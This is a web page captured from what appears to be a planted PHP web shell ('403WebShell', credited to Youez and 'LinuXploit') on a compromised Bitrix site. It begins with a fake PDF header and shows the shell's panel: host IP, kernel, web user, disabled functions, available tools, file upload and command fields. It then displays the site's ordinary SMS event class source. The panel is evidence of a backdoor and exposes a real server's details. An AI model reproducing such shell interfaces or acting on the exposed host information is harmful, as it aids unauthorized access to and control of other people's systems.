%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.150.88
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/sms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/sms/event.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2018 Bitrix
 */
namespace Bitrix\Main\Sms;

use Bitrix\Main;
use Bitrix\Main\ORM\Query\Query;

class Event
{
	const ERR_SITE = 'site';
	const ERR_TEMPLATES = 'templates';
	const ERR_MODULE = 'module';

	protected $eventName;
	protected $fields;
	protected $siteId;
	protected $languageId;
	protected $templateId;

	/**
	 * Message constructor.
	 * @param string $eventName Name of a SMS template
	 * @param array $fields Data fields to insert into the message
	 */
	public function __construct($eventName, array $fields = [])
	{
		$this->eventName = $eventName;
		$this->fields = $fields;
	}

	/**
	 * @param string $siteId
	 * @return $this
	 */
	public function setSite($siteId)
	{
		$this->siteId = $siteId;
		return $this;
	}

	/**
	 * @param string $languageId
	 * @return $this
	 */
	public function setLanguage($languageId)
	{
		$this->languageId = $languageId;
		return $this;
	}

	/**
	 * @param int $templateId
	 * @return $this
	 */
	public function setTemplate($templateId)
	{
		$this->templateId = $templateId;
		return $this;
	}

	/**
	 * @param bool $directly True - send directly, False - send via queue
	 * @return Main\Result
	 */
	public function send($directly = false)
	{
		$result = new Main\Result();

		if(!Main\Loader::includeModule("messageservice"))
		{
			$result->addError(new Main\Error("Module messageservice is not installed.", self::ERR_MODULE));
			return $result;
		}

		$context = Main\Context::getCurrent();

		if($this->siteId === null)
		{
			$this->siteId = $context->getSite();
			if($this->siteId === null)
			{
				$result->addError(new Main\Error("Can't filter templates, the siteId is not set.", self::ERR_SITE));
				return $result;
			}
		}

		if($this->languageId === null)
		{
			$this->languageId = $context->getLanguage();
		}

		$templates = $this->fetchTemplates();

		if(count($templates) == 0)
		{
			$result->addError(new Main\Error("Templates not found.", self::ERR_TEMPLATES));
			return $result;
		}

		$senderId = Main\Config\Option::get("main", "sms_default_service");
		if($senderId == '')
		{
			//messageservice will try to use any available sender
			$senderId = null;
		}

		foreach($templates as $template)
		{
			$message = Message::createFromTemplate($template, $this->fields);

			$smsMessage = \Bitrix\MessageService\Sender\SmsManager::createMessage([
				'SENDER_ID' => $senderId,
				'MESSAGE_FROM' => $message->getSender(),
				'MESSAGE_TO' => $message->getReceiver(),
				'MESSAGE_BODY' => $message->getText(),
			]);

			$event = new Main\Event("main", "onBeforeSendSms", ['message' => $smsMessage, "template" => $template]);
			$event->send();
			foreach($event->getResults() as $evenResult)
			{
				if($evenResult->getType() === Main\EventResult::ERROR)
				{
					continue 2;
				}
			}

			if($directly)
			{
				$smsResult = $smsMessage->sendDirectly();
			}
			else
			{
				$smsResult = $smsMessage->send();
			}

			if(!$smsResult->isSuccess())
			{
				$result->addErrors($smsResult->getErrors());
			}
		}

		return $result;
	}

	protected function fetchTemplates()
	{
		$filter = Query::filter()
			->where("ACTIVE", "Y")
			->where("SITES.LID", $this->siteId);

		if($this->templateId !== null)
		{
			//specific template was supplied
			$filter->where("ID", $this->templateId);
		}
		else
		{
			//select templates by conditions
			$filter->where("EVENT_NAME", $this->eventName);

			if($this->languageId !== null)
			{
				$filter->where(Query::filter()
					->logic('or')
					->where('LANGUAGE_ID', $this->languageId)
					->where('LANGUAGE_ID', '')
					->whereNull('LANGUAGE_ID')
				);
			}
		}

		$res = TemplateTable::getList([
			'select' => ['*', 'SITES.SITE_NAME', 'SITES.SERVER_NAME', 'SITES.LID'],
			'filter' => $filter,
		]);

		return $res->fetchCollection();

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit